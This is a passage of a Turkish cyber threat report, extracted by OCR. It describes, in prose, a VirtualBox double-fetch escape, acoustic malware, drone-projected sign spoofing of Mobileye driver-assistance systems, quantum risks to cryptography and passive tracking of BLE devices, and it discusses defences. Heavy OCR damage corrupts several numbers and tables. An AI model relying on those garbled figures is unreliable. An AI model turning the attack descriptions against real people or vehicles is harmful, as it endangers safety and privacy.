CVE-2018-2844, Linux makineleri etkileyen VirtualBox
Video Acceleration (VBVA) lzerindeki double fetch za-
fiyetidir. VBVA, Video RAM arabellegi (izerinden payla-
silan bir bellek olan VirtualBox Host-Guest Paylasilan
Bellek Arabirimi (HGSMI) Uzerinde galigir. Gegersiz kay-
nak belirtildi.

TEMMUZ-EYLUL 2019

Zafiyetin tetiklenmesi icin; konuk, HGSMI kullanarak ko-
mut arabellegini ayarlar ve VRAM'deki ofseti, ana bilgi-
sayarl bilgilendirmek i¢cin VO_PORT_HGSMI_GUEST
(0x3d0) IO portuna yazarak hata olusturur. Bu hata 6zel-
likle, Konuk’dan Ana Bilgisayar’a gegirilen Video DMA
(VDMA) komutlarinin kod islenmesinde ortaya cikar.
VDMA komut isleme fonksiyonu “vboxVDMACmMdExec()”
VDMA komut tirlerine gére belirli fonksiyonlara génderilir.

Bu switch case yapisi isaretci referans tablosuna gecis
yapar. Bu da acik bir sekilde “race condition” hatasidrr.
Degisken gecici olarak isaretlenmedigi icin GCC opti-
mizasyonu sonucu paylasilan VRAM belleginde double
fetch zafiyeti oldugu gorilmektedir. Zafiyet somurilerek
Virtualbox’dan cikis saglanir.

Bu kisimda teknolojik gelismelerin siber guvenlik Gzerin-
deki etkileri atak ve savunma baglaminda incelenmekte ve
kiresel capta dikkat ceken gelismeler analiz edilmektedir.

13. AKILLI HOPARLORUNUZ AKUSTIK BIR
SiLAHA DONUSEBILIR

Hoparlérler; cep telefonlari, bilgisayarlar, televizyonlar,
ses sistemleri veya ucuz tasinabilir cihazlar olarak her
yerde kullaniliyor. Film izlemek, mizik dinlemek veya
konusmak icin hoparlérlere gliveniyoruz, ancak bu ci-
hazlarnn insanlarin duyabildigi araligin disinda da fre-
kans yayabildigi bilinmektedir. Las Vegas’ta dlizenlenen
“DEFCON 2019” guvenlik konferansinda PwC Siber
Guvenlik Uzmani Matt Wixey hoparlérlerin bu yetenegi-
nin silah olarak kullanilabilecegini anlatti ©..

Genellikle saldirgan ve saldirganin verecegi zarar arasin-
da dolayl bir baglanti vardir. Saldirgan, bir cihaz veya
makine Uzerinde bir “etki” olusturarak zarara yol acar.
Arastirmacilar artik saldirganlarin etkiyi bu zincirden ¢i-
kararak dogrudan makineler Uzerinden insanlara zarar
verecek kot amagl yazimlar olusturabilecegini kesfetti.

Matt Wixey’in belirttigine gore, bilgisayar ve telefon
hoparlérleri araciliglyla duyulamayan ultrasonik sesler
calarak sirketler belirli internet sayfalarini ziyaret eden
kullanicilarin g6z atmalarini tesvik edebiliyorlar. Benzer
sekilde bir saldirgan kolayca zararl yaziimlar yazarak
herhangi bir yerlesik hoparlor izerinde yiiksek yogun-
luklu duyulamayacak frekanslar ya da oldukga yuksek
duyulabilir sesler c¢ikartabiliyor. Bu tir bir akustik saldiri
kulak ¢inlamasi, saldirinin ileri dizeylerde olmasi ise isit-
me kaybi veya psikolojik rahatsizlik olusturabiliyor © 1,

Not: Yazi boyunca kullanilan dosyalar TokyoWesterns 2019 CTF yarismasinda verilmis olan dosyalardir. Zafiyeti uygulamali olarak anlamak igin “gnote” isimli CTF sorusu incelenebilir.
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Max. Giiriiltii diizeyi Tavsiye edilen maruz

dB(A) kalma suresi

106 dB 3,75 dakika(4 dakika)
109 dB 1,875 dakika(2 dakika)
112 dB 0,9375 dakika(1 dakika)
115 dB 0,46875 dakika(30 saniye)

Sekil 62: GUrlltl diizeyi ve tavsiye edilen maruz kalma sireleri®.

Sekil 62’de gorildugi gibi 85 dB gurdlti diizeyinden
sonraki her 3 dB artigta tavsiye edilen maruz kalma su-
resi olusan enerjinin iki katina ¢cikmasi yizinden yariya
iniyor.

Arastirmada; dizUstu bilgisayar, akilli telefon, Bluetooth
hoparldr, kiicik hoparldr, kulak Ustl kulaklik, arag ses
sistemi, titresimli hoparlér, belirli bir yénde sesi kanali-
ze eden parametrik hoparlér ve bir dizi benzer cihazin
akustik ¢iktisi analiz edildi. Wixey, her bir cihazda ¢alig-
tirmak i¢in cihaza fiziksel veya uzaktan erigimi olan basit
zararli yaziimlar olusturdu.

Arastirmaci akustik c¢iktilan analiz etmek icin cihazlan
yankisiz oda olarak adlandirilan ses gecirmeyen, olduk-
¢a az yankil bir kaba yerlestirdi. Akustik saldindan énce
ve sonra kap igindeki ses seviyesini ve ylzey sicaklik
sensoriyle de cihazin sicakhgini élgtl. Akill hoparlérin,
kulakliklarin ve parametrik hoparlériin, olmasi tavsiye
edilen en ylksek frekans seviyesini asabildigini buldu.
Ote yandan Bluetooth hoparlér, giriilti dnleyici kulaklik
ve akilli hoparldér olmasi gereken en dusik frekansin al-
tinda da frekanslar yayabiliyordu.

Akillil hoparlére saldinldiginda, i¢ bilesenlerini 4-5 daki-
ka sonra eritmeye baslayarak cihaza kalici zarar verecek
kadar 1si Uretiliyordu. Arastirmaci, genelde kiguk aletler
Uzerinde yaptigi deneylerle sadece mevcut potansiyeli
gobstermis oldugunu, sahnelerdeki veya statlardaki ses
sistemlerini kullanarak ¢ok daha buytk 6l¢ekli saldirilarin
gerceklestirilebilecegini belirtiyor.

Akustik silahlarin Kiiba’'daki ABD diplomatlarina yapilan
saldinda rol oynayip oynamadidi hala belirsiz olsa da,
muidahale i¢cin kullanilan ses toplar gibi kasith olarak
yuksek ses Uretebilen veya yogun akustik yayilimlan
engelleyici bir silah olarak kullanilan baska araclar da
bulunuyor. Bu tarz akustik saldirilarin engellenmesi icin
hem donanim hem de yazilimla ilgili dnlemler alinmasi
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dB Seviyesi
o0dB Duyma esigi

1ode Normal Ses
8948 Ses rahatsiz stmeys baglar

S0dE Wzun slrede isitme duyusuna zarr verebille
100 4B Girlends sedirme baglar
11048 Girilg zayiar

130 48

Zararli Ses

Konusmalar anlagimaz
140 68 et hi

150 dB
166 dB
177 g8

188 @8
190 g8

194 d8

200 9B

Sekil 63: Glrlltl dizeyi ve etkileri®.

gerektigi belirtiliyor. Donanim imalatcilari frekans arali-
gini fiziksel olarak sinirlayabilir, bdylece insan kulaginin
duyamayacag sesler Uretilemez. isletim sistemi imalat-
cilar ise belirtilen frekanslarin disinda bir ses Uretildigin-
de kullaniciy uyarabilir 71,

Hoparlorler veya igletim sistemleri, ylksek veya diusik
frekansli sesler Uretecek dijital ses girislerini filtrelemek
icin dijital savunmaya da sahip olabilir. Ayrica virlisten
koruma yazilimi saticilar, stpheli ses giris etkinligini
izlemek icin tarayicilarina belirli algilamalar ekleyebilir.
Yiksek frekans ve diUsilk frekans paraziti icin gevresel
ses izleme, potansiyel siber-akustik saldirilari da yakalar.

Akustik silahlar cok amagcli bir saldirn araci olusturmasa
da, Wixey, bu potansiyel saldin sinifinin en kétt yanla-
rindan biri olarak ¢cogu durumda neler olacagdi hakkinda
hicbir fikrinizin olmamasina isaret ediyor.

14. MobilBye - GELiSMiS§ SURUCU
SISTEMLERINi KAMERAYLA ALDATMA

Gelismis stirtict yardim sistemleri (Advanced driver as-
sistance systems - ADAS), sUrtclyl uyararak kazalar
Onlemeyi amagclayan sistemlerdir. Kamera, LiDAR ve ra-
dar teknoloijilerini kullanabilen bu sistemler Serit asistani,
carpisma 6nleme, trafik isaretlerini tanima gibi yetenek-
lere sahiptir. Mevcut araclar ile entegre sekilde yaygin
olarak kullaniimaya basladiklari icin arastirmacilar kadar
saldirganlarin da dikkatini cekmis olan bu sistemlerin
sorun potansiyelleri yogun bir sekilde test edilmektedir.
Yapilan arastirmalar bu sistemlerin makine égrenmesi
ybntemleriyle aldatilabildigini ve saldirganlarin istekleri-
ne uygun is gérmesinin saglanabildigini gosteriyor®.

ADAS sistemleri 6 farkli seviyede otomasyon saglyor:
en Ust seviyede araglari tamamen yonetebilen tam
otomatik sistemler varken en alt seviyede butin ara¢
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dinamiklerini yéneten strlcuyl uyaran sistemler bulunu-
yor. ADAS sistemlerin arasinda yaygin olarak kullanilan
ve harici olarak araclara entegre edilebilen bir Grtin olan
Mobileye 630 PRO modelinin (Sekil 64) sorun potansi-
yelini test etmek icin bir dizi calisma yapiliyor. Bu cihaz
temelde 6 farkl 6zellige sahip; birincisi serit ikaz sistemi.
Bu, ara¢ 55 km/sa hizla seyrederken siriict sinyal ver-
meden serit ihlali yaparsa uyaran sistem. ikincisi yaya
carpma uyar sistemi. Bu ise 50-70 km/sa alti hizlarda
ve gunduz devreye giriyor. Bir digeri ileri carpisma uya-
r sistemi, siriiclye arkadan yaklasan araclar hakkinda
uyar veriyor. DérdiincisU yol izleme ve uyar sistemi, 30
km/sa hizlar Uzerinde devreye girerek strlclyl dndeki
araclara carpmamasi konusunda uyarir. Besincisi uzun
far kontrol uyarisi, kargidan gelen araglara gére uzun far
acma/kapama uyarisi veriyor. Sonuncusu ise trafik isare-
ti algilama sistemi, yaklasilan trafik isaretlerini tanimliyor
ve kullaniciyr yénlendiriyor.

Sekil 64: Mobileye 630 Pro bilesenleri®.

Uriiniin bu yeteneklerini test etmek icin arastirmacilar
ortama sahte trafik isaretleri yerlestiriyorlar. Bu test si-
rasinda, halen oldugu gibi ortamda bulunma zorunlulu-
dgunu ortadan kaldirmak igin Uzerine mobil projeksiyon
cihazi entegre edilmis drone kullaniyorlar. Tamamen kara
kutu bir test amacliyorlar. Bir dizi deneysel ortamda cali-
siyorlar. Béylece Mobileye 630 Pro drtnunin renk, sekil,
ortam 1101, projeksiyon hizi, trafik isaret yaricapi degisik-
liklerine nasil tepki verdigini inceliyorlar.

Sekil 65: Deneysel ortam testleril®.
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Farkli tiplerde ve boyutlarda trafik isaretleri olusturup
test ediyorlar. Trafik isaretinin 16 cm’den kiguk olma-
sI durumunda UrUnun trafik isaretlerini tanimadigini
fark ediyorlar. Mobileye sisteminin algilama uzaklgdi
icin de ideal mesafenin 5-16 metre arasinda oldugu-
nu gozlemliyorlar.

Distance [m]
@

@ Avg Sample Value

0 5 10 15 20 25 0 35 40 as 30
Sign Diameter [em]

Areas
Area of Samples
Undetected Area

Sekil 66: Yarigcap ve mesafe testil.

Daha sonra Mobileye sisteminin trafik isaret renk-
lerine verdigi tepkilere bakiyorlar. Sistemin renkten
bagimsiz olarak, siyah beyaz trafik isaretlerini dahi
tanidigini gériyorlar (Sekil 67-a).

@ c

Sekil 67: Sekil, renk, rakamsal test®.

Trafik isaret tabelalarinin seklini test ettiklerinde ise
Mobileye’nin gercek olandan farkl isaretleri tanima-
digini goruyorlar (Sekil 67-b).

Ortam 1siginin etkisini analiz etmek icin ginun farkli
saatlerinde testler yapiyorlar, bunun sonucunda kullan-
diklari projeksiyonun giiniin her saatinde ¢alisabildigini
fakat disik ortam i1sik degerlerinde—aksam ve gece-
leri—daha iyi sonug verdigini gérlyorlar (Sekil 68).

SIBER TEHDIT DURUM RAPORU
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Percentage of Succans [%]
-

Sekil 68: Ortam isigi testi®l.

Bir diger testte ise projeksiyon hizinin etkisini dlgtyor-
lar ve ylksek projeksiyon zamanlarinda Mobileye’nin
algilamasinin distiginu saptiyorlar. Bunu, Mobileye
Uzerindeki optik sensdrin saniyede yakalayabildigi
kare sayisinin distk olmasina baglyorlar.

Trafik isaretlerindeki hiz limit uyarilarinin algilanmasini
test ettiklerinde ise yanlis uyarilan géz ardi etmedi-
di ve en yakin uyariya yakinsadigini gortyorlar (Sekil
67-c, Tablo 5).

H Projected Speed limit  Detected Speed limit ||

0 X
I X
2 X
3 X
4 X
5 5
L z = i
7 X
8 X
9 X
27 X
43 X
69 60
71 70
88 30
150 X
160 X
170 X
180 110
190 110
200 X

Tablo 5: Hiz limit rakamsal yaklagimlari®.
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14.1. Tehdidin Gerceklenmesi

Deneysel testlerden sonra tehdit modelinin gerceklen-
mesi icin drone olarak DJI Matrice 600 modelini kulla-
niyorlar ve buna projeksiyon cihazi entegre ediyorlar.
Kurban olarak Mobileye 630 Pro entegre edilmis bir
Renault Captur araba kullaniyorlar. Sekil 70’de goérildi-
gu gibi projektdrle duvara yansitilan sahte trafik isareti
ADAS tarafindan tanimlaniyor ve hiz sinirini 90 olarak
gOstermeye basliyor (Sekil 69, 70, 71).

Sekil 69: Drone®. Sekil 70: Kurban'®.

Sekil 71: Atakdan Once / Atakdan Sonra®,

14.2. Karsi Koruma Onlemleri

Uzmanlar yurittikleri calismada, gérintd siniflandirma
ve islemeye dayall bu sistemlere karsi test ettikleri saldiri
ybntemlerine karsi alinabilecek pasif nlemleri de de ele
almis durumdalar. ilk énerileri, trafik isaretlerine QR kod
eklentisinin yapilmasi. Bu sayede trafik isaretlerinin yeri-
nin dogrulugu ve trafik isaretinin gercekligi dogrulanabi-
lir. Fakat bu durumda da QR kodla kullanilacak olan GPS
sistemi aldatilabilir. Diger bir engelleme ydntemi olarak
3 boyutlu trafik isaretleri dneriliyor. Ancak saldirgan da
3 boyutlu trafik isaretlerini kullanarak sistemi aldatabilir.
Arastirmacilar son olarak ADAS sistemlerinin bir trafik
isaret veri tabaniyla entegre calisabilecegini soyllyor-
lar, ancak GPS aldatmasinin saldirganlar tarafindan da
kullanilabilecegi uyarisinda bulunuyorlar. Kisa vadede
uygulanabilecek bu &nlemlere ek olarak uzun vadede

Method Advantages Disadvantages
i — ;\!I‘u‘\'.' \I'criliualiun of \r"ulm.:ruhlc lo GPS
= trallic signs spooling
Mitigate projection at- Vulnerable to r.".pl:'!'. at- |
3D signs tacks that require phys-

tack :
ical approach

Require Internet con-
nectivity and vulnera
ble 10 GPS spooling

Verify against updat-
able database

Social navigation ap-
plication(Waze)

Tablo 6: Onlemlerin karsilastinimasi®,
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araglar arasi iletisimin aktif olmasiyla ve ek olarak trafik
isaretleriyle de iletisim kurularak sorunlarin agilabilecegi-
ni séyllyorlar (Tablo 6).

Arastirmacilar, ¢calismalarinin ¢iktilarini sorumluluk anla-
yislarinin geregdi olarak Mobileye ile Tesla’ya ilettiklerini
belirtiyorlar. Ayni zamanda bir tartisma konusu olarak
otonom araglar igin oldukca temel bir parca olan ADAS
sistemlerinin kolay bir tehdit hedefi olusturdugu gori-
sinl gindeme getiriyorlar. Araclar arasi iletisim (V2V)
ile arag ile cevre arasi iletisimin (V2E) gelecekte radyo
frekanslar (Wi-Fi) Uzerinden gerceklesebilecegini be-
lirtiyorlar. Bu sayede sdzkonusu calismada test edilen
saldin yéntemlerine maruz kalmayacagdini belirtiyorlar.
Ancak sistemin gene de GPS aldatmasi, radyo frekans-
larinin alici vericileri taklit etmesi, parazit olusturma vb.
gibi yeni atak vektdrlerine acik olacagini belirtiyorlar.

15. KUANTUM _Bil__GiSAYARLAR o
KRIPTOGRAFI iCIN GERGEKTEN TEHDIT Mi?

DEFCON 27°de kuantum bilgisayarlar ve kriptografi ilis-
kisi hakkinda ginimuze kadar yapilan calismalar tzeri-
ne bir sunum yapildi®l. S6z konusu sunumda gogunluk-
la kuantum bilgisayarlarin kriptografiyle iliskisi hakkinda
dogru bilinen yanlislara yer verildigi gériliyor. Oncelikle
glinimizde kullanilan kriptosistemler ile kuantum bilgi-
sayarlarin iligkileri Gzerine bilgi edinelim.

15.1. Kriptografi

Simetrik Kriptosistemler:

- Simetrik kriptosistemler anahtar degisiminin guvenli
varsayilan bir kanaldan yapildigi kriptosistemlerdir.
Dolayisiyla iki tarafta da ayni anahtar bulunur. Ornek
olarak AES (Advanced Encryption Standart) verilebi-
lir. AES algoritmasinda standart olarak 128, 192 veya
256 bit anahtar kullanilabilir.

Asimetrik Kriptosistemler:

- Asimetrik kriptosistemlerde acik anahtar ve kapali
anahtar olarak iki farkli anahtar bulunur. Acik anah-
tar herkes tarafindan bilinirken kapali anahtar kisiye
Ozeldir. Sifreleme algoritmalarinda agik anahtarla sif-
releme yapilirken kapall anahtarla da sifreleme igle-
minin tersi yapilr. Dijital imza protokollerinde imzala-
ma islemi kapall anahtarla, dogrulama islemi de acik
anahtarla yapilr.

- Bu sistemlerin guvenligi cogunlukla matematiksel bir
problemin zorluguna dayanir. Ornek olarak RSA veri-
lebilir. RSA kriptosisteminin givenligi iki asal sayinin
carpimi olarak verilen bir sayinin ¢arpanlarini bulma-
nin zor olmasina dayanir.
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.15.2. Kuantum Bilgisayarlar ile Kriptografi
lligkisi

Kriptosistemlerin guvenligi kuantum hesaplama yoén-
temleriyle tehdit edilebilir:

Simetrik kriptosistemler de Grover algoritmasi ile
anahtar uzayi, uzayin buyUkliginin karekdkiine ka-
dar dusurllebilir 9. Dolayisiyla AES-128 anahtarina
kaba kuvvet saldinsi yapabilmek igcin 222 deneme
yapmak gerekirken Grover algoritmasiyla 2764 de-
nemeye dusUrilebilir. 2% glnimiz standartlarinda
buylk bir sayl olmadigdi icin AES-128’in giivenlik aci-
sindan tehlikede oldudu sdéylenebilir. Ancak Grover
algoritmasinin pratikte uygulanmasi henlz olasi
g6zukmuyor. Ek olarak, 128-bit glvenlik igin anah-
tar uzunlugunu 2 katina gikarip AES-256 kullanmak
gayet basit bir ¢6zim olabilir. Bu sebeple kuantum
bilgisayarlarin simetrik kriptosistemler igin blyUk bir
tehdit olusturdugunu sdyleyemeyiz.

Asimetrik kriptosistemlerde RSA kriptosistemini érnek
vermistik. Burada glvenlik, verilen bilesik saylyi asal
garpanlaraayirmanin zorluguna dayaniyordu. Kuantum
bilgisayarlarda Shor algoritmasi yardimiyla bu problem
polinom zamanda ¢oztilebiliyor""l. Dolayisiyla anahtar
uzunlugundan badimsiz olarak RSA kriptosistemi-
nin glvenligi tehdit edilmis oluyor. Ayni durum Diffie-
Hellman Anahtar Degisimi ya da ElGamal kriptosis-
teminin (Eliptik Egri varyantlan dahil) dayandigi Aynk
Logaritma Problemi icin de gecerlidir.

Ornek vermek gerekirse, 2048-bit bilesik sayi igin (2
asal carpandan olusan), klasik bilgisayarlarda carpan-
lara ayirma problemi igin bilinen en hizli yéntem olan
GNFS (General Number Field Sieve) yaklasik 10% adim
gerektirirken, kuantum bilgisayarlarda Shor algoritma-
s1 107 adim gerektiriyor. Fakat bu islem icin 4099 qubit
gerekiyor. Bu qubitler su an kullanilan kuantum bilgisa-
yarlarda bulunan qubitler ile denk degil. Deger 6lgimi
sirasinda herhangi bir hata payl olmamasi gerekiyor.
Dolayisiyla bu algoritmanin pratik olarak uygulanmasi
su an mimkin degil, bu sebeple sadece 15 gibi kiigiik
sayilarin sembolik olarak ¢arpanlara ayrildigina sahit
olabiliyoruz 2. Dolayisiyla Shor algoritmasina karsi
pratik anlamda RSA-2048 hala glvenilir durumda.

Bilinenin aksine, Shor algoritmasindan daha hizli ¢alisa-
cak ve ginimiz kuantum bilgisayarlarinin sahip oldu-
gu qubitlerle calisabilecek yaklasimlar da bulunuyor. Bu
yaklasimlari anlamak i¢in kuantum hesaplama yéntem-
lerini inceleyecegiz.

15.3. Kuantum Bilgisayarlar

Kuantum bilgisayarlar, hesaplama y&ntemlerine gore;
evrensel (mantik kapisi tabanl) kuantum hesaplama ve
adyabatik kuantum hesaplama olarak iki ana basliga
ayrilabilir.

SIBER TEHDIT DURUM RAPORU
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15.3.1.Evrensel Kuantum Hesaplama

Bu hesaplama tirl klasik bilgisayarlarda kullanilan man-
tiksal devrelere benzedidi icin anlamasi daha kolaydir.
Klasik algoritmalardaki girdi yerine bir baslangi¢ kuan-
tum hali (quantum state) bulunur. Sonrasinda belirli bir
sirada bazi kuantum kapilar uygulanir ve 8l¢im yapillir.
Bu 6lcim algoritmanin ¢iktisina denktir. Yani klasik bil-
gisayarlarda bulunan girdi, hesaplama ve ¢ikti Gglustne
benzer bir yapi bulunur. Bahsettigimiz Shor algoritmasi
bu hesaplama mantigiyla ¢aligiyor. IBM, Intel, Microsoft
gibi sirketlerin gelistirdigi kuantum bilgisayarlar evrensel
kuantum hesaplama modeline gére gelistirilmigtir.

15.3.2. Adyabatik Kuantum Hesaplama

Adyabatik kuantum hesaplama, Kuantum Tavlama kav-
raminin alt kimesi olarak gorulebilir. Burada tavlama
kelimesi kontrolli sogutma anlamina gelir. Adyabatik ku-
antum hesaplama, bir optimizasyon problemini fiziksel
bir modele cgevirip bu modeldeki taban haline ulagmayi
bekler. Adyabatik teorem bu fiziksel modeldeki taban
halinin, optimizasyon problemindeki optimal noktaya te-
kabul ettigini garanti eder. Sistemin nasil isledigini asa-
gidaki Sekil 72 ile daha iyi anlayabiliriz.

Energy

Classical path =,

Solution

Solution

Quantum Tunnelling Adiabatic evolution

Sekil 72: Adyabatik kisayol 6rnegit.

Klasik hesaplamada sistem ylksek enerjilere cikarilarak
(Sekil 72°deki kirmizi bdlgeler), kontrolli bir sekilde ener-
jisi dUsUrultr (sogutulur). Bu sekilde minimum noktaya
ulagilabilir ancak yerel minimum degerlerde takili kalmak
muUmkinddr. Bu yonteme benzetimli tavlama (simulated
annealing) diyoruz.

Kuantum tavlamanin benzetimli taviamaya goére bize
sagladigi avantaj kuantum tiinelleme etkisidir, klasik he-
saplama yéntemlerinin ¢iktigi enerji seviyelerine ¢ikma-
dan sistemin minimum noktalara gecis yapmasini saglar
(Sekil 72’deki mavi bolgeler).

Kuantum tunelleme etkisiyle yerel minimum degerlere
hizli bir sekilde ulagabiliyoruz fakat bu noktalarda taki-
Il kalip global minimum noktaya erisememe ihtimalimiz
hala var. Bu durumda adyabatik teorem devreye giriyor.
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Adyabatik teorem sistemin taban halinin, optimizas-
yon problemindeki optimal ¢céziime denk geldigini, yani
global minimuma erisecegini garanti eder (Sekil 72 -
Adiabatic evolution). Bu kismin teknik agiklamalar hak-
kinda daha fazla detaya girmiyoruz. D-Wave Firmasinin
gelistirdigi kuantum bilgisayarlar Adyabatik kuantum he-
saplama modeline uygundur.

Sekil 73: D-Wave 2000Q Kuantum Bilgisayarlar.

Arastirmacilar carpanlara ayirma problemini, kuantum
bilgisayarlarda adyabatik kuantum tavlama yapilabile-
cek bir optimizasyon problemine ¢evirdiler. 2016 yilin-
da D-Wave 2X kuantum bilgisayarina bu optimizasyon
problemi verildi ve 200.099 sayisi 897 qubit kullanilarak
asal garpanlarina ayrildit'.

2018 yilinda arastirmacilar ayni yéntemle (adyabatik
kuantum tavlama) farkli bir optimizasyon problemi olus-
turdular. D-Wave 2000Q Kuantum Bilgisayarlarini kulla-
narak 376.289 sayisini 94 qubit kullanarak ¢arpanlarina
ayirdilart™.

2019 yilinda bagka bir ekip 1.005.973 sayisini 89 qubit
kullanarak carpanlarina ayirdi. Ek olarak bu qubitlerin
2018 yilinda kullanilan qubitlere gére daha fazla hata pa-
yina izin veriyor olmasi da bir avantajdit®.

Bu bilgiler 1siginda, kuantum bilgisayarlarin simetrik
kriptosistemleri Grover algoritmasi ile tehdit edilse bile
bu tehditlerden pratik bir sekilde uzaklasilabilecegini
goriyoruz. Asimetrik kripto sistemlerde ise Shor algo-
ritmasinin, pratik olarak uygulanmasi i¢in gerektirdigi
qubit sayisina ve kalitesine ulasmanin zor oldugunu
gobruyoruz. Son yillarda yapilan calismalar adyabatik
kuantum tavlama ydntemiyle zaman iginde daha az
qubit kullanilarak daha biyik sayilarin ¢arpanlara ay-
rilabilecegini gdsteriyor. Asimetrik kripto sistemlerin
glvenliginin, bu ¢calismalarin ivmesine bagl oldugunu
sdyleyebiliriz.

31



thimnkktech

STM Teknolojik Diisiince Merkezi

A

16. BLUETOOTH CIHAZLAR TAKIP
EDILEBILIR Mi?

“BLE” yani “Bluetooth Low Energy”; Bluetooth protoko-
[GnUn kullanilabildigi yerlerde daha dislk enerji tiketi-
miyle veri transferini saglamak icin tercih ediliyor. Kan
basincini élgen cihazlarda, endustriyel sensoérlerde, ta-
kip cihazlarinda, akilli saatlerde, pil émrind uzatmak igin
klasik Bluetooth yerine genellikle bu protokol kullaniliyor.

Bluetooth protokoli ilk ortaya ciktiginda sabit bir MAC
adresiyle yayin yapiyordu. Bu &zelligi ile cihazlar takip
edilebilir oldugu i¢in “mahremiyet” bakimindan prob-
lemler ortaya cikiyordu. “Akilli Bluetooth” olarak bilinen
BLE standartlariyla ilgili olarak bu husus da belirtiliyor.
Protokol, cihaz Ureticilerine sirekli degistirebilecekle-
ri MAC adresleriyle yayin yapma imkani sunuyor. ideal
durumda cihazlar bu protokolle kendi reklamlarini sifre-
siz bir sekilde yaparken, diger cihazlara sadece gerekli
bilgileri génderiyor, kendileriyle ilgili 6zel bilgileri génder-
miyorlar. Ancak arastirmacilar Windows 10 bilgisayarlar
ve iPhone gibi rasgele MAC adres Uretme algoritmasini
kullanan cihazlarin dahi, takip edilme saldirisina karsi sa-
vunmasiz olabilecegini gosterdiler '],

Saldinda 6ncelikle “tanimlayici isaretler” tespit ediliyor.
Bu isaretler cihazlara 6zel olup MAC adres gibi cihaz
tanimlayici degerler olarak kullaniliyor. Tanimlayici ad-
reslerin ve rasgele belirlenen MAC adreslerin senkron
olarak degismedigi tespit edilmis. Buna dayanarak on-
line olarak galisan adres-nakil algoritmasini geligtirmis-
ler. Bu algoritma Bluetooth protokollnin zafiyetlerini
kullanmiyor ya da haberlesmenin sifrelemesini kirmaya
calismiyor. Herkese agik gdnderilen sifresiz haberles-
meyi kullaniyor.

16.1. BLE Protokoliiniin incelemesi

Saldiny1 ve saldirgan modelini anlatmadan 6nce BLE
protokollnln ve paket iceriginin ne oldugunu anlatmak
gerekiyor. BLE, Bluetooth kablosuz iletisim protokolinin
2010 yihinda tanitilan, daha kiglUk, daha az enerji kapa-
sitesi olan, dzellestirilmis bir sirimi. BLE 2 MHZ'lik yer
kaplayan ve frekans degerleri 2402-2480 MHz arasinda
olan 40 fiziksel kanalda ¢alisabiliyor. Bunlar arasindan
2402, 2426 ve 2480. kanallar reklam kanallari olarak ay-
nimistir. Bu 3 kanalda cihazlar, kendilerinin varigini belli
ettigi bazi bilgilerle periyodik de olabilecek sekilde yayin
yaparlar. Diger kanallar temelde veri transferi icin kulla-
nilir. Bu veriler diger cihazlarin iletisim kurdugu kanallarla
cakisma yasanmamasi i¢in frekans atlama olarak adlan-
dirilan bir yéntemle iletilir. Bu yéntemle baglanti esnasin-
da veri gonderilecek kanal strekli degistirilir.

Tarama modunda bir cihaz havadaki reklam mesajlarini
dinler. Saldirgan pasif tarama modunda ise bu mesajlara
herhangi bir yanit vermez ancak aktif tarama modunda
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Sekil 74: BLE cihazlarin durum tablosul™®l,

ise bu cihazlara tarama mesaji géndererek cihaz hakkin-
daki detaylar sorabilir (Sekil 74).

16.2. Saldirgan Modeli

Saldirgan olarak tamamen pasif bir sekilde BLE trafigini
dinleyen, trafik Uretmeyen, cihazlara “tarama” ve “bag-
lant1” isteklerinde bulunmayan bir model belirlenmigtir.
Bu model sayesinde hedef cihazla iki yonli hicbir ileti-
sim kurulmamakta ve saldirganin reklam mesajlarindaki
farklliklar tespit edebilmek i¢in havadaki reklam trafigini
izleyebildigi varsayllmaktadir. Hedef cihazlar igin ise tek
varsayim, cihazlarin Bluetooth &zelliginin aktif olmasidir.
Saldirgan Bluetooth protokoliinde haberlesme esnasin-
da kullanilan frekans atlama &zelligini takip etme ya da
sifreli trafigi okuma 6zelliklerine ihtiyag duymaksizin, sa-
dece bir cihaz (SDR) ile reklam kanallarini (37, 38, 39) ta-
kip edebilir. Bu kanallardaki paketler dinlenip, Bluetooth
standardinda belirtilen alanlara parcgalanir. Ardindan he-
def cihazin mahremiyet 6zelligini ihlal edebilecek bilgile-
re ulasmak icin bu alanlar kullanihr.

16.3. Cihaz Takip Algoritmasi

Bu calismada cihazlari takip edebilmek icin iki fazli bir
algoritma sunuluyor. lIki gevrimdigi 6n-izleme, ikincisi ise
cevrimici izleme fazi.

ilk faz daha &nce kaydedilmis reklam paketlerindeki
PDU payload kisimlarinin oldugu kayit dosyalariyla ilgile-
niyor. Bitln bu kayitlar hedef kullanicilar igin muhtemel
tanimlayici isaretlerin gevrimdigi tespitinde kullaniliyor.
Bu isaret reklam paketlerinde gecen, kullanicilar birbi-
rinden ayirmayi saglayacak, herhangi sirali bit dizilerini
ifade ediyor. Bu bit dizileri Uretici tarafindan tamamen bi-
lingli olarak eklenmis ya da bir yan etki sebebiyle ortaya
¢ikmig da olabilir. Bu bit dizilerinin tanimlayici olmasi igin
temel olarak bu degerlere o esnada baska cihazlarda
rastlanmamis olmasi gerekiyor. ise yarayacak isaretler
cihazin igletim sistemine, yazilim ve donanim &zellikleri-
ne bagl olarak degisiyor. Tanimlayici isaret her cihaz icin
essiz ve degismeyeceginden emin oldugumuz bir bilgi
iceriyor. Bu baglamda 6érnegin MAC adres degeri bu is
icin oldukga uygun.
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Arastirmacilar yaptiklari gdézlemler ve hesaplamalar so-
nucu, tanimlayici isaretlerin maksimum 15 dakikada bir
degistigini ve yaklasik 1000 cihaz i¢in 40 bitlik tanimla-
yici isaretin birbiriyle cakismayacak cihazlarin tespiti igin
yeterli bilgiyi saglayabilecegini tespit etmigler. Bulduklari
yéntem ile dn-igsleme agsamasinin her siniftan cihaz igin
sadece bir kez yapilmasi gerekiyor. Bu asamadan sonra
havada ayni siniftan bir cihaz bulundugunda bir daha bu
islemin yapillmasina gerek duyulmuyor.

Cevrimici izleme fazinda ise algoritma bir cihazi takip
ederken, reklam adresi degistigi anda tanimlayici isaret-
lerin kontrollUnU yapip cihazi yeni adres bilgisiyle glincel-
liyor. Ya da tanimlayici isaret bilgileri degistiginde adres
kontroll yapip bu adresteki cihazi yeni tanimlayici isaret
degerleriyle gincelliyor. Ancak cihaz igin bu islem diz-
gln bir sekilde yapilamaz ve takip edilebilirlik kaybolursa
algoritma “basarisiz” olarak calismayi durduruyor.

16.4. Windows 10 Cihazlarin Takibi

Aragtirmacilar Windows 10 cihazlarin én-izleme asama-
sinda yaklasik 960 saniyede bir yeni bir adresle reklam
yaptigini tespit etmigler. Bu da cihaz kaybolana kadar sal-
dirgana hedefini izlemek i¢in 16 dakikalik bir stre veriyor.
Windows cihazlar reklam yaparken 27 bytelik reklam ve-
risinin ilk 4 bytelik kismina “Uretici tanimlayici” bilgi olarak
